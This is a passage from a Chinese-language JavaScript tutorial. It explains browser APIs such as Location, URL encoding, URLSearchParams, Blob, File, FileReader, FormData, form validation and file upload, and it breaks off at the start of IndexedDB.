`JSON.parse()`方法可以接受一个处理函数，作为第二个参数，用法与`JSON.stringify()`方法类似。

```js
function f(key, value) {
  if (key === 'a') {
    return value + 10;
  }
  return value;
}

JSON.parse('{"a": 1, "b": 2}', f)
// {a: 11, b: 2}
```

### 深拷贝

`JSON.parse()`和`JSON.stringify()`可以结合使用，像下面这样写，实现对象的深拷贝。

```js
JSON.parse(JSON.stringify(obj))
```

上面这种写法，可以深度克隆一个对象，但是对象内部不能有 JSON
不允许的数据类型，比如函数、正则对象、日期对象等。

---

---
url: /js/c1una9pm/index.md
---
# BOM 下
## Location 对象

`Location`对象是浏览器提供的原生对象，提供 URL 相关的信息和操作方法。通过`window.location`和`document.location`属性，可以拿到这个对象。

### 属性

`Location`对象提供以下属性。

* `Location.href`：整个 URL。
* `Location.protocol`：当前 URL 的协议，包括冒号（`:`）。
* `Location.host`：主机。如果端口不是协议默认的`80`和`433`，则还会包括冒号（`:`）和端口。
* `Location.hostname`：主机名，不包括端口。
* `Location.port`：端口号。
* `Location.pathname`：URL 的路径部分，从根路径`/`开始。
* `Location.search`：查询字符串部分，从问号`?`开始。
* `Location.hash`：片段字符串部分，从`#`开始。
* `Location.username`：域名前面的用户名。
* `Location.password`：域名前面的密码。
* `Location.origin`：URL 的协议、主机名和端口。

这些属性里面，只有`origin`属性是只读的，其他属性都可写。

注意，如果对`Location.href`写入新的 URL 地址，浏览器会立刻跳转到这个新地址。

```js
// 跳转到新网址
document.location.href = 'http://www.example.com';
```

这个特性常常用于让网页自动滚动到新的锚点。

```js
document.location.href = '#top';
// 等同于
document.location.hash = '#top';
```

直接改写`location`，相当于写入`href`属性。

```js
document.location = 'http://www.example.com';
// 等同于
document.location.href = 'http://www.example.com';
```

另外，`Location.href`属性是浏览器唯一允许跨域写入的属性，即非同源的窗口可以改写另一个窗口（比如子窗口与父窗口）的`Location.href`属性，导致后者的网址跳转。`Location`的其他属性都不允许跨域写入。

### 方法

**（1）Location.assign()**

`assign`方法接受一个 URL 字符串作为参数，使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串，则会报错。

```js
// 跳转到新的网址
document.location.assign('http://www.example.com')
```

**（2）Location.replace()**

`replace`方法接受一个 URL 字符串作为参数，使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串，则会报错。

它与`assign`方法的差异在于，`replace`会在浏览器的浏览历史`History`里面删除当前网址，也就是说，一旦使用了该方法，后退按钮就无法回到当前网页了，相当于在浏览历史里面，使用新的 URL 替换了老的 URL。它的一个应用是，当脚本发现当前是移动设备时，就立刻跳转到移动版网页。

**（3）Location.reload()**

`reload`方法使得浏览器重新加载当前网址，相当于按下浏览器的刷新按钮。

它接受一个布尔值作为参数。如果参数为`true`，浏览器将向服务器重新请求这个网页，并且重新加载后，网页将滚动到头部（即`scrollTop === 0`）。如果参数是`false`或为空，浏览器将从本地缓存重新加载该网页，并且重新加载后，网页的视口位置是重新加载前的位置。

**（4）Location.toString()**

`toString`方法返回整个 URL 字符串，相当于读取`Location.href`属性。

## URL 的编码和解码

网页的 URL 只能包含合法的字符。合法字符分成两类。

* URL 元字符：分号（`;`），逗号（`,`），斜杠（`/`），问号（`?`），冒号（`:`），at（`@`），`&`，等号（`=`），加号（`+`），美元符号（`$`），井号（`#`）
* 语义字符：`a-z`，`A-Z`，`0-9`，连词号（`-`），下划线（`_`），点（`.`），感叹号（`!`），波浪线（`~`），星号（`*`），单引号（`'`），圆括号（`()`）

除了以上字符，其他字符出现在 URL 之中都必须转义，规则是根据操作系统的默认编码，将每个字节转为百分号（`%`）加上两个大写的十六进制字母。

比如，UTF-8 的操作系统上，`http://www.example.com/q=春节`这个 URL 之中，汉字“春节”不是 URL 的合法字符，所以被浏览器自动转成`http://www.example.com/q=%E6%98%A5%E8%8A%82`。其中，“春”转成了`%E6%98%A5`，“节”转成了`%E8%8A%82`。这是因为“春”和“节”的 UTF-8 编码分别是`E6 98 A5`和`E8 8A 82`，将每个字节前面加上百分号，就构成了 URL 编码。

JavaScript 提供四个 URL 的编码/解码方法。

* `encodeURI()`
* `encodeURIComponent()`
* `decodeURI()`
* `decodeURIComponent()`

### encodeURI()

`encodeURI()`方法用于转码整个 URL。它的参数是一个字符串，代表整个 URL。它会将元字符和语义字符之外的字符，都进行转义。

```js
encodeURI('http://www.example.com/q=春节')
// "http://www.example.com/q=%E6%98%A5%E8%8A%82"
```

### encodeURIComponent()

`encodeURIComponent()`方法用于转码 URL 的组成部分，会转码除了语义字符之外的所有字符，即元字符也会被转码。所以，它不能用于转码整个 URL。它接受一个参数，就是 URL 的片段。

```js
encodeURIComponent('春节')
// "%E6%98%A5%E8%8A%82"
encodeURIComponent('http://www.example.com/q=春节')
// "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82" // [!code warning]
```

### decodeURI()

`decodeURI()`方法用于整个 URL 的解码。它是`encodeURI()`方法的逆运算。它接受一个参数，就是转码后的 URL。

```js
decodeURI('http://www.example.com/q=%E6%98%A5%E8%8A%82')
// "http://www.example.com/q=春节"
```

### decodeURIComponent()

`decodeURIComponent()`用于URL 片段的解码。它是`encodeURIComponent()`方法的逆运算。它接受一个参数，就是转码后的 URL 片段。

```js
decodeURIComponent('%E6%98%A5%E8%8A%82')
// "春节"
```

## URL 对象

浏览器原生提供`URL()`接口，它是一个构造函数，用来构造、解析和编码 URL。一般情况下，通过`window.URL`可以拿到这个构造函数。

### 构造函数

`URL()`作为构造函数，可以生成 URL 实例。它接受一个表示 URL 的字符串作为参数。如果参数不是合法的 URL，会报错。

```js
var url = new URL('http://www.example.com/index.html');
url.href
// "http://www.example.com/index.html"
```

除了字符串，`URL()`的参数也可以是另一个 URL 实例。这时，`URL()`会自动读取该实例的`href`属性，作为实际参数。

如果 URL 字符串是一个相对路径，那么需要表示绝对路径的第二个参数，作为计算基准。

```js
var url1 = new URL('index.html', 'http://example.com');
url1.href
// "http://example.com/index.html"

var url2 = new URL('page2.html', 'http://example.com/page1.html');
url2.href
// "http://example.com/page2.html"

var url3 = new URL('..', 'http://example.com/a/b.html')
url3.href
// "http://example.com/"
```

第一个参数是`..`，表示上层路径。

### 实例属性

URL 实例的属性与`Location`对象的属性基本一致，返回当前 URL 的信息。

* URL.href：返回整个 URL
* URL.protocol：返回协议，以冒号`:`结尾
* URL.hostname：返回域名
* URL.host：返回域名与端口，包含`:`号，默认的80和443端口会省略
* URL.port：返回端口
* URL.origin：返回协议、域名和端口
* URL.pathname：返回路径，以斜杠`/`开头
* URL.search：返回查询字符串，以问号`?`开头
* URL.searchParams：返回一个`URLSearchParams`实例，该属性是`Location`对象没有的
* URL.hash：返回片段识别符，以井号`#`开头
* URL.password：返回域名前面的密码
* URL.username：返回域名前面的用户名

这些属性里面，只有`origin`属性是只读的，其他属性都可写，并且会立即生效。

### 静态方法

**（1）URL.createObjectURL()**

`URL.createObjectURL()`方法用来为上传/下载的文件、流媒体文件生成一个 URL 字符串。这个字符串代表了`File`对象或`Blob`对象的 URL。

**（2）URL.revokeObjectURL()**

`URL.revokeObjectURL()`方法用来释放`URL.createObjectURL()`方法生成的 URL 实例。它的参数就是`URL.createObjectURL()`方法返回的 URL 字符串。

## URLSearchParams 对象

### 概述

`URLSearchParams`对象是浏览器的原生对象，用来构造、解析和处理 URL 的查询字符串（即 URL 问号后面的部分）。

它本身也是一个构造函数，可以生成实例。参数可以为查询字符串，起首的问号`?`有没有都行，也可以是对应查询字符串的数组或对象。

```js
// 方法一：传入字符串
var params = new URLSearchParams('?foo=1&bar=2');
// 等同于
var params = new URLSearchParams(document.location.search);

// 方法二：传入数组
var params = new URLSearchParams([['foo', 1], ['bar', 2]]);

// 方法三：传入对象
var params = new URLSearchParams({'foo' : 1 , 'bar' : 2});
```

`URLSearchParams`会对查询字符串自动编码。

```js
var params = new URLSearchParams({'foo': '你好'});
params.toString() // "foo=%E4%BD%A0%E5%A5%BD"
```

浏览器向服务器发送表单数据时，可以直接使用`URLSearchParams`实例作为表单数据。

```js
const params = new URLSearchParams({foo: 1, bar: 2});
fetch('https://example.com/api', {
  method: 'POST',
  body: params
}).then(...)
```

`URLSearchParams`可以与`URL()`接口结合使用。

```js
var url = new URL(window.location);
var foo = url.searchParams.get('foo') || 'somedefault';
```

URL 实例的`searchParams`属性就是一个`URLSearchParams`实例，所以可以使用`URLSearchParams`接口的`get`方法。

```js
new URLSearchParams(document.location.search).get('enc')
```

### URLSearchParams.toString()

`toString`方法返回实例的字符串形式。

### URLSearchParams.append()

`append()`方法用来追加一个查询参数。它接受两个参数，第一个为键名，第二个为键值，没有返回值。

`append()`方法不会识别是否键名已经存在。

```js
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.append('foo', 3);
params.toString() // "foo=1&bar=2&foo=3"
```

### URLSearchParams.delete()

`delete()`方法用来删除指定的查询参数。它接受键名作为参数。

```js
params.delete('bar');
```

### URLSearchParams.has()

`has()`方法返回一个布尔值，表示查询字符串是否包含指定的键名。

```js
params.has('bar') // true
```

### URLSearchParams.set()

`set()`方法用来设置查询字符串的键值。

它接受两个参数，第一个是键名，第二个是键值。如果是已经存在的键，键值会被改写，否则会被追加。

```js
var params = new URLSearchParams('?foo=1');
params.set('foo', 2);
params.toString() // "foo=2"
params.set('bar', 3);
params.toString() // "foo=2&bar=3"
```

如果有多个的同名键，`set`会移除现存所有的键。

```js
var params = new URLSearchParams('?foo=1&foo=2');
params.set('foo', 3);
params.toString() // "foo=3"
```

### URLSearchParams.get()

`get()`方法用来读取查询字符串里面的指定键。它接受键名作为参数。

```js
params.get('foo')
```

如果有多个的同名键，`get`返回位置最前面的那个键值。

### URLSearchParams.getAll()

`getAll()`方法返回一个数组，成员是指定键的所有键值。它接受键名作为参数。

### URLSearchParams.sort()

`sort()`方法对查询字符串里面的键进行排序，规则是按照 Unicode 码点从小到大排列。

### URLSearchParams.keys()

### URLSearchParams.values()

### URLSearchParams.entries()

这三个方法都返回一个遍历器对象，供`for...of`循环遍历。它们的区别在于，`keys`方法返回的是键名的遍历器，`values`方法返回的是键值的遍历器，`entries`返回的是键值对的遍历器。

```js
var params = new URLSearchParams('a=1&b=2');

for(var p of params.keys()) {
  console.log(p);
}
// a
// b

for(var p of params.values()) {
  console.log(p);
}
// 1
// 2

for(var p of params.entries()) {
  console.log(p);
}
// ["a", "1"]
// ["b", "2"]
```

如果直接对`URLSearchParams`进行遍历，其实内部调用的就是`entries`接口。

```js
for (var p of params) {}
// 等同于
for (var p of params.entries()) {}
```

## ArrayBuffer 对象

ArrayBuffer 对象表示一段二进制数据，用来模拟内存里面的数据。通过这个对象，JavaScript 可以读写二进制数据。这个对象可以看作内存数据的表达。

浏览器原生提供`ArrayBuffer()`构造函数，用来生成实例。它接受一个整数作为参数，表示这段二进制数据占用多少个字节。

```js
var buffer = new ArrayBuffer(8);
```

上面代码中，实例对象`buffer`占用8个字节。

ArrayBuffer 对象有实例属性`byteLength`，表示当前实例占用的内存长度（单位字节）。

ArrayBuffer 对象有实例方法`slice()`，用来复制一部分内存。它接受两个整数参数，分别表示复制的开始位置（从0开始）和结束位置（复制时不包括结束位置），如果省略第二个参数，则表示一直复制到结束。

## Blob 对象

### 简介

Blob 对象表示一个二进制文件的数据内容，比如一个图片文件的内容就可以通过 Blob 对象读写。

它通常用来读写文件，它的名字是 Binary Large Object （二进制大型对象）的缩写。它与 ArrayBuffer 的区别在于，它用于操作二进制文件，而 ArrayBuffer 用于操作内存。

浏览器原生提供`Blob()`构造函数，用来生成实例对象。

```js
new Blob(array [, options])
```

`Blob`构造函数接受两个参数。

第一个参数是数组，成员是字符串或二进制对象，表示新生成的`Blob`实例对象的内容；

第二个参数是可选的，是一个配置对象，目前只有一个属性`type`，它的值是一个字符串，表示数据的 MIME 类型，默认是空字符串。

```js
var htmlFragment = ['<a id="a"><b id="b">hey!</b></a>'];
var myBlob = new Blob(htmlFragment, {type : 'text/html'});

var obj = { hello: 'world' };
var blob = new Blob([ JSON.stringify(obj) ], {type : 'application/json'});
```

### 实例属性

`Blob`具有两个实例属性`size`和`type`，分别返回数据的大小和类型。

```js
myBlob.size // 32
myBlob.type // "text/html"
```

### 实例方法

`Blob`具有一个实例方法`slice`，用来拷贝原来的数据，返回的也是一个`Blob`实例。

```js
myBlob.slice(start, end, contentType)
```

`slice`方法有三个参数，都是可选的。它们依次是起始的字节位置（默认为0）、结束的字节位置（默认为`size`属性的值，该位置本身将不包含在拷贝的数据之中）、新实例的数据类型（默认为空字符串）。

### 获取文件信息

文件选择器`<input type="file">`用来让用户选取文件。

出于安全考虑，浏览器不允许脚本自行设置这个控件的`value`属性，即文件必须是用户手动选取的，不能是脚本指定的。一旦用户选好了文件，脚本就可以读取这个文件。

文件选择器返回一个 FileList 对象，该对象是一个类似数组的成员，每个成员都是一个 File 实例对象。File 实例对象是一个特殊的 Blob 实例，增加了`name`和`lastModifiedDate`属性。

```js
// HTML 代码如下
// <input type="file" accept="image/*" multiple onchange="fileinfo(this.files)"/>

function fileinfo(files) {
  for (var i = 0; i < files.length; i++) {
    var f = files[i];
    console.log(
      f.name, // 文件名，不含路径
      f.size, // 文件大小，Blob 实例属性
      f.type, // 文件类型，Blob 实例属性
      f.lastModifiedDate // 文件的最后修改时间
    );
  }
}
```

### 下载文件

AJAX 请求时，如果指定`responseType`属性为`blob`，下载下来的就是一个 Blob 对象。

```js
function getBlob(url, callback) {
  var xhr = new XMLHttpRequest();
  xhr.open('GET', url);
  xhr.responseType = 'blob';
  xhr.onload = function () {
    callback(xhr.response);
  }
  xhr.send(null);
}
```

### 生成 URL

浏览器允许使用`URL.createObjectURL()`方法，针对 Blob 对象生成一个临时 URL，以便于某些 API 使用。

这个 URL 以`blob://`开头，表明对应一个 Blob 对象，协议头后面是一个识别符，用来唯一对应内存里面的 Blob 对象。

这一点与`data://URL`（URL 包含实际数据）和`file://URL`（本地文件系统里面的文件）都不一样。

```js
var droptarget = document.getElementById('droptarget');

droptarget.ondrop = function (e) {
  var files = e.dataTransfer.files;
  for (var i = 0; i < files.length; i++) {
    var type = files[i].type;
    if (type.substring(0,6) !== 'image/')
      continue;
    var img = document.createElement('img');
    img.src = URL.createObjectURL(files[i]);
    img.onload = function () {
      this.width = 100;
      document.body.appendChild(this);
      URL.revokeObjectURL(this.src);
    }
  }
}
```

上面代码通过为拖放的图片文件生成一个 URL，产生它们的缩略图，从而使得用户可以预览选择的文件。

浏览器处理 Blob URL 就跟普通的 URL 一样，如果 Blob 对象不存在，返回404状态码；如果跨域请求，返回403状态码。Blob URL 只对 GET 请求有效，如果请求成功，返回200状态码。由于 Blob URL 就是普通 URL，因此可以下载。

### 读取文件

取得 Blob 对象以后，可以通过`FileReader`对象，读取 Blob 对象的内容，即文件内容。

FileReader 对象提供四个方法，处理 Blob 对象。Blob 对象作为参数传入这些方法，然后以指定的格式返回。

* `FileReader.readAsText()`：返回文本，需要指定文本编码，默认为 UTF-8。
* `FileReader.readAsArrayBuffer()`：返回 ArrayBuffer 对象。
* `FileReader.readAsDataURL()`：返回 Data URL。
* `FileReader.readAsBinaryString()`：返回原始的二进制字符串。

下面是`FileReader.readAsText()`方法的例子，用来读取文本文件。

```js
// HTML 代码如下
// <input type="file" onchange="readfile(this.files[0])"></input>
// <pre id="output"></pre>
function readfile(f) {
  var reader = new FileReader();
  reader.readAsText(f);
  reader.onload = function () {
    var text = reader.result;
    var out = document.getElementById('output');
    out.innerHTML = '';
    out.appendChild(document.createTextNode(text));
  }
  reader.onerror = function(e) {
    console.log('Error', e);
  };
}
```

上面代码中，通过指定 FileReader 实例对象的`onload`监听函数，在实例的`result`属性上拿到文件内容。

下面是`FileReader.readAsArrayBuffer()`方法的例子，用于读取二进制文件。

```js
// HTML 代码如下
// <input type="file" onchange="typefile(this.files[0])"></input>
function typefile(file) {
  // 文件开头的四个字节，生成一个 Blob 对象
  var slice = file.slice(0, 4);
  var reader = new FileReader();
  // 读取这四个字节
  reader.readAsArrayBuffer(slice);
  reader.onload = function (e) {
    var buffer = reader.result;
    // 将这四个字节的内容，视作一个32位整数
    var view = new DataView(buffer);
    var magic = view.getUint32(0, false);
    // 根据文件的前四个字节，判断它的类型
    switch(magic) {
      case 0x89504E47: file.verified_type = 'image/png'; break;
      case 0x47494638: file.verified_type = 'image/gif'; break;
      case 0x25504446: file.verified_type = 'application/pdf'; break;
      case 0x504b0304: file.verified_type = 'application/zip'; break;
    }
    console.log(file.name, file.verified_type);
  };
}
```

## File 对象

File 对象代表一个文件，用来读写文件信息。它继承了 Blob 对象，或者说是一种特殊的 Blob 对象，所有可以使用 Blob 对象的场合都可以使用它。

最常见的使用场合是表单的文件上传控件（`<input type="file">`），用户选中文件以后，浏览器就会生成一个数组，里面是每一个用户选中的文件，它们都是 File 实例对象。

```js
// HTML 代码如下
// <input id="fileItem" type="file">
var file = document.getElementById('fileItem').files[0];
file instanceof File // true
```

上面代码中，`file`是用户选中的第一个文件，它是 File 的实例。

### 构造函数

浏览器原生提供一个`File()`构造函数，用来生成 File 实例对象。

```js
new File(array, name [, options])
```

`File()`构造函数接受三个参数。

* array：一个数组，成员可以是二进制对象或字符串，表示文件的内容。
* name：字符串，表示文件名或文件路径。
* options：配置对象，设置实例的属性。该参数可选。

第三个参数配置对象，可以设置两个属性。

* type：字符串，表示实例对象的 MIME 类型，默认值为空字符串。
* lastModified：时间戳，表示上次修改的时间，默认为`Date.now()`。

```js
var file = new File(
  ['foo'],
  'foo.txt',
  {
    type: 'text/plain',
  }
);
```

### 实例属性

File 对象有以下实例属性。

* File.lastModified：最后修改时间
* File.name：文件名或文件路径
* File.size：文件大小（单位字节）
* File.type：文件的 MIME 类型

```js
var myFile = new File([], 'file.bin', {
  lastModified: new Date(2018, 1, 1),
});
myFile.lastModified // 1517414400000
myFile.name // "file.bin"
myFile.size // 0
myFile.type // ""
```

### 实例方法

File 对象没有自己的实例方法，由于继承了 Blob 对象，因此可以使用 Blob 的实例方法`slice()`。

## FileList 对象

`FileList`对象是一个类似数组的对象，代表一组选中的文件，每个成员都是一个 File 实例。它主要出现在两个场合。

* 文件控件节点（`<input type="file">`）的`files`属性，返回一个 FileList 实例。
* 拖拉一组文件时，目标区的`DataTransfer.files`属性，返回一个 FileList 实例。

```js
// HTML 代码如下
// <input id="fileItem" type="file">
var files = document.getElementById('fileItem').files;
files instanceof FileList // true
```

上面代码中，文件控件的`files`属性是一个 FileList 实例。

FileList 的实例属性主要是`length`，表示包含多少个文件。

FileList 的实例方法主要是`item()`，用来返回指定位置的实例。

它接受一个整数作为参数，表示位置的序号（从零开始）。但是，由于 FileList 的实例是一个类似数组的对象，可以直接用方括号运算符，即`myFileList[0]`等同于`myFileList.item(0)`，所以一般用不到`item()`方法。

## FileReader 对象

FileReader 对象用于读取 File 对象或 Blob 对象所包含的文件内容。

浏览器原生提供一个`FileReader`构造函数，用来生成 FileReader 实例。

```js
var reader = new FileReader();
```

FileReader 有以下的实例属性。

* FileReader.error：读取文件时产生的错误对象
* FileReader.readyState：整数，表示读取文件时的当前状态。一共有三种可能的状态，`0`表示尚未加载任何数据，`1`表示数据正在加载，`2`表示加载完成。
* FileReader.result：读取完成后的文件内容，有可能是字符串，也可能是一个 ArrayBuffer 实例。
* FileReader.onabort：`abort`事件（用户终止读取操作）的监听函数。
* FileReader.onerror：`error`事件（读取错误）的监听函数。
* FileReader.onload：`load`事件（读取操作完成）的监听函数，通常在这个函数里面使用`result`属性，拿到文件内容。
* FileReader.onloadstart：`loadstart`事件（读取操作开始）的监听函数。
* FileReader.onloadend：`loadend`事件（读取操作结束）的监听函数。
* FileReader.onprogress：`progress`事件（读取操作进行中）的监听函数。

FileReader 有以下实例方法。

* FileReader.abort()：终止读取操作，`readyState`属性将变成`2`。
* FileReader.readAsArrayBuffer()：以 ArrayBuffer 的格式读取文件，读取完成后`result`属性将返回一个 ArrayBuffer 实例。
* FileReader.readAsBinaryString()：读取完成后，`result`属性将返回原始的二进制字符串。
* FileReader.readAsDataURL()：读取完成后，`result`属性将返回一个 Data URL 格式（Base64 编码）的字符串，代表文件内容。对于图片文件，这个字符串可以用于`<img>`元素的`src`属性。注意，这个字符串不能直接进行 Base64 解码，必须把前缀`data:*/*;base64,`从字符串里删除以后，再进行解码。
* FileReader.readAsText()：读取完成后，`result`属性将返回文件内容的文本字符串。该方法的第一个参数是代表文件的 Blob 实例，第二个参数是可选的，表示文本编码，默认为 UTF-8。

## FormData 对象

### 概述

表单数据以键值对的形式向服务器发送，这个过程是浏览器自动完成的。但是有时候，我们希望通过脚本完成这个过程，构造或编辑表单的键值对，然后通过脚本发送给服务器。浏览器原生提供了 FormData 对象来完成这项工作。

`FormData()`首先是一个构造函数，用来生成表单的实例。

```js
var formdata = new FormData(form);
```

`FormData()`构造函数的参数是一个 DOM 的表单元素，构造函数会自动处理表单的键值对。这个参数是可选的，如果省略该参数，就表示一个空的表单。

```html
<form id="myForm" name="myForm">
  <div>
    <label for="username">用户名：</label>
    <input type="text" id="username" name="username">
  </div>
  <div>
    <label for="useracc">账号：</label>
    <input type="text" id="useracc" name="useracc">
  </div>
  <div>
    <label for="userfile">上传文件：</label>
    <input type="file" id="userfile" name="userfile">
  </div>
<input type="submit" value="Submit!">
</form>
	<script type="text/javascript">
				var myForm = document.getElementById('myForm');
				var formData = new FormData(myForm);
				
				// 获取某个控件的值
				formData.get('username') // ""
				
				// 设置某个控件的值
				formData.set('username', '张三');
				
				formData.get('username') // "张三"
			</script>
```

### 实例方法

FormData 提供以下实例方法。

* `FormData.get(key)`：获取指定键名对应的键值，参数为键名。如果有多个同名的键值对，则返回第一个键值对的键值。
* `FormData.getAll(key)`：返回一个数组，表示指定键名对应的所有键值。如果有多个同名的键值对，数组会包含所有的键值。
* `FormData.set(key, value)`：设置指定键名的键值，参数为键名。如果键名不存在，会添加这个键值对，否则会更新指定键名的键值。如果第二个参数是文件，还可以使用第三个参数，表示文件名。
* `FormData.delete(key)`：删除一个键值对，参数为键名。
* `FormData.append(key, value)`：添加一个键值对。如果键名重复，则会生成两个相同键名的键值对。如果第二个参数是文件，还可以使用第三个参数，表示文件名。
* `FormData.has(key)`：返回一个布尔值，表示是否具有该键名的键值对。
* `FormData.keys()`：返回一个遍历器对象，用于`for...of`循环遍历所有的键名。
* `FormData.values()`：返回一个遍历器对象，用于`for...of`循环遍历所有的键值。
* `FormData.entries()`：返回一个遍历器对象，用于`for...of`循环遍历所有的键值对。如果直接用`for...of`循环遍历 FormData 实例，默认就会调用这个方法。

### 内置验证

#### 自动校验

表单提交的时候，浏览器允许开发者指定一些条件，它会自动验证各个表单控件的值是否符合条件。

```js
<!-- 必填 -->
<input required>

<!-- 必须符合正则表达式 -->
<input pattern="banana|cherry">

<!-- 字符串长度必须为6个字符 -->
<input minlength="6" maxlength="6">

<!-- 数值必须在1到10之间 -->
<input type="number" min="1" max="10">

<!-- 必须填入 Email 地址 -->
<input type="email">

<!-- 必须填入 URL -->
<input type="URL">
```

如果一个控件通过验证，它就会匹配`:valid`的 CSS 伪类，浏览器会继续进行表单提交的流程。如果没有通过验证，该控件就会匹配`:invalid`的 CSS 伪类，浏览器会终止表单提交，并显示一个错误信息。

```css
input:invalid {
  border-color: red;
}
input,
input:valid {
  border-color: #ccc;
}
```

#### checkValidity()

除了提交表单的时候，浏览器自动校验表单，还可以手动触发表单的校验。表单元素和表单控件都有`checkValidity()`方法，用于手动触发校验。

```js
// 触发整个表单的校验
form.checkValidity()

// 触发单个表单控件的校验
formControl.checkValidity()
```

`checkValidity()`方法返回一个布尔值，`true`表示通过校验，`false`表示没有通过校验。

#### willValidate 属性

控件元素的`willValidate`属性是一个布尔值，表示该控件是否会在提交时进行校验。

#### validationMessage 属性

控件元素的`validationMessage`属性返回一个字符串，表示控件不满足校验条件时，浏览器显示的提示文本。以下两种情况，该属性返回空字符串。

* 该控件不会在提交时自动校验
* 该控件满足校验条件

#### setCustomValidity()

控件元素的`setCustomValidity()`方法用来定制校验失败时的报错信息。它接受一个字符串作为参数，该字符串就是定制的报错信息。如果参数为空字符串，则上次设置的报错信息被清除。

#### validity 属性

控件元素的属性`validity`属性返回一个`ValidityState`对象，包含当前校验状态的信息。

该对象有以下属性，全部为只读属性。

* `ValidityState.badInput`：布尔值，表示浏览器是否不能将用户的输入转换成正确的类型，比如用户在数值框里面输入字符串。
* `ValidityState.customError`：布尔值，表示是否已经调用`setCustomValidity()`方法，将校验信息设置为一个非空字符串。
* `ValidityState.patternMismatch`：布尔值，表示用户输入的值是否不满足模式的要求。
* `ValidityState.rangeOverflow`：布尔值，表示用户输入的值是否大于最大范围。
* `ValidityState.rangeUnderflow`：布尔值，表示用户输入的值是否小于最小范围。
* `ValidityState.stepMismatch`：布尔值，表示用户输入的值不符合步长的设置（即不能被步长值整除）。
* `ValidityState.tooLong`：布尔值，表示用户输入的字数超出了最长字数。
* `ValidityState.tooShort`：布尔值，表示用户输入的字符少于最短字数。
* `ValidityState.typeMismatch`：布尔值，表示用户填入的值不符合类型要求（主要是类型为 Email 或 URL 的情况）。
* `ValidityState.valid`：布尔值，表示用户是否满足所有校验条件。
* `ValidityState.valueMissing`：布尔值，表示用户没有填入必填的值。

下面是一个例子。

```js
var input = document.getElementById('myinput');
if (input.validity.valid) {
  console.log('通过校验');
} else {
  console.log('校验失败');
}
```

下面是另外一个例子。

```js
var txt = '';
if (document.getElementById('myInput').validity.rangeOverflow) {
  txt = '数值超过上限';
}
document.getElementById('prompt').innerHTML = txt;
```

如果想禁止浏览器弹出表单验证的报错信息，可以监听`invalid`事件。

```js
var input = document.getElementById('username');
var form  = document.getElementById('form');

var elem = document.createElement('div');
elem.id  = 'notify';
elem.style.display = 'none';
form.appendChild(elem);

input.addEventListener('invalid', function (event) {
  event.preventDefault();
  if (!event.target.validity.valid) {
    elem.textContent   = '用户名必须是小写字母';
    elem.className     = 'error';
    elem.style.display = 'block';
    input.className    = 'invalid animated shake';
  }
});

input.addEventListener('input', function(event){
  if ( 'block' === elem.style.display ) {
    input.className = '';
    elem.style.display = 'none';
  }
});
```

上面代码中，一旦发生`invalid`事件（表单验证失败），`event.preventDefault()`用来禁止浏览器弹出默认的验证失败提示，然后设置定制的报错提示框。

#### novalidate 属性

表单元素的 HTML 属性`novalidate`，可以关闭浏览器的自动校验。

```html
<form novalidate>
</form>
```

这个属性也可以在脚本里设置。

```js
form.noValidate = true;
```

### enctype 属性

表单能够用四种编码，向服务器发送数据。编码格式由表单的`enctype`属性决定。

**（1）GET 方法**

如果表单使用`GET`方法发送数据，`enctype`属性无效。

**（2）application/x-www-form-urlencoded**

如果表单用`POST`方法发送数据，并省略`enctype`属性，那么数据以`application/x-www-form-urlencoded`格式发送（因为这是默认值）。

```http
Content-Type: application/x-www-form-urlencoded
```

**（3）text/plain**

如果表单使用`POST`方法发送数据，`enctype`属性为`text/plain`，那么数据将以纯文本格式发送。

```http
Content-Type: text/plain
```

**（4）multipart/form-data**

如果表单使用`POST`方法，`enctype`属性为`multipart/form-data`，那么数据将以混合的格式发送。

这种格式也是文件上传的格式。

### 文件上传

用户上传文件，也是通过表单。具体来说，就是通过文件输入框选择本地文件，提交表单的时候，浏览器就会把这个文件发送到服务器。

```html
<input type="file" id="file" name="myFile">
```

此外，还需要将表单`<form>`元素的`method`属性设为`POST`，`enctype`属性设为`multipart/form-data`。

其中，`enctype`属性决定了 HTTP 头信息的`Content-Type`字段的值，默认情况下这个字段的值是`application/x-www-form-urlencoded`，但是文件上传的时候要改成`multipart/form-data`。

```html
<form method="post" enctype="multipart/form-data">
  <div>
    <label for="file">选择一个文件</label>
    <input type="file" id="file" name="myFile" multiple>
  </div>
  <div>
    <input type="submit" id="submit" name="submit_button" value="上传" />
  </div>
</form>
```

上面的 HTML 代码中，file 控件的`multiple`属性，指定可以一次选择多个文件；如果没有这个属性，则一次只能选择一个文件。

```js
var fileSelect = document.getElementById('file');
var files = fileSelect.files;
```

然后，新建一个 FormData 实例对象，模拟发送到服务器的表单数据，把选中的文件添加到这个对象上面。

```js
var formData = new FormData();

for (var i = 0; i < files.length; i++) {
  var file = files[i];

  // 只上传图片文件
  if (!file.type.match('image.*')) {
    continue;
  }

  formData.append('photos[]', file, file.name);
}
```

最后，使用 Ajax 向服务器上传文件。

```js
var xhr = new XMLHttpRequest();

xhr.open('POST', 'handler.php', true);

xhr.onload = function () {
  if (xhr.status !== 200) {
    console.log('An error occurred!');
  }
};

xhr.send(formData);
```

除了发送 FormData 实例，也可以直接 AJAX 发送文件。

```js
var file = document.getElementById('test-input').files[0];
var xhr = new XMLHttpRequest();

xhr.open('POST', 'myserver/uploads');
xhr.setRequestHeader('Content-Type', file.type);
xhr.send(file);
```

## IndexedDB API

### 概述

随着浏览器的功能不断增强，越来越多的网站开始考虑，将大量数据储存在客户端，这样可以减少从服务器获取数据，直接从本地获取数据。

现有的浏览器数据储存方案，都不适合储存大量数据：Cookie 的大小不超过 4KB，且每次请求都会发送回服务器；LocalStorage 在 2.5MB 到 10MB 之间（各家浏览器不同），而且不提供搜索功能，不能建立自定义的索引。所以，需要一种新的解决方案，这就是 IndexedDB 诞生的背景。

通俗地说，IndexedDB 就是浏览器提供的本地数据库，它可以被网页脚本创建和操作。IndexedDB 允许储存大量数据，提供查找接口，还能建立索引。这些都是 LocalStorage 所不具备的。就数据库类型而言，IndexedDB 不属于关系型数据库（不支持 SQL 查询语句），更接近 NoSQL 数据库。

IndexedDB 具有以下特点。

**（1）键值对储存。** IndexedDB 内部采用对象仓库（object store）存放数据。所有类型的数据都可以直接存入，包括 JavaScript 对象。对象仓库中，数据以“键值对”的形式保存，每一个数据记录都有对应的主键，主键是独一无二的，不能有重复，否则会抛出一个错误。

